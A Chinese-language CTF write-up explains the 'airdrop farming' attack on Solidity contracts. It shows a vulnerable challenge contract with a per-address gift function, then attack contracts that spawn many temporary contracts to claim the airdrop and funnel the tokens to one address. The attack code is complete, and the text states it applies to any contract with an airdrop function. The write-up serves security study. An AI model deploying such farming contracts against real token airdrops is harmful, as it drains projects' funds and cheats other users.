薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。其中首个自动化薅羊毛攻击出现在 上。
pragma solidity ^0.4.24;
contract jojo {
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
address owner;
constructor()public{
owner = msg.sender;
}
event SendFlag(string b64email);
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
emit SendFlag(b64email);
}
function jojogame() payable{
uint geteth = msg.value / 1000000000000000000;
balanceOf[msg.sender] += geteth;
}
function gift() public {
assert(gift[msg.sender] == 0);
balanceOf[msg.sender] += 100;
gift[msg.sender] = 1;
}
function transfer(address to,uint value) public{
assert(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
}
function gift() public {
assert(gift[msg.sender] == 0);
balanceOf[msg.sender] += 100;
gift[msg.sender] = 1;
}
function transfer(address to,uint value) public{
assert(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
那么我们可以使用薅羊毛的攻击方式,创建 1000 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 100000。
contract attack{
function attack_airdrop(int num){
for(int i = 0; i < num; i++){
new middle_attack(this);
}
}
function get_flag(string email){
jojo target = jojo(0xA3197e9Bc965A22e975F1A26654D43D2FEb23d36);
target.payforflag(email);
}
}
contract middle_attack{
constructor(address addr){
jojo target = jojo(0xA3197e9Bc965A22e975F1A26654D43D2FEb23d36);
target.gift();
target.transfer(addr,100);
}
}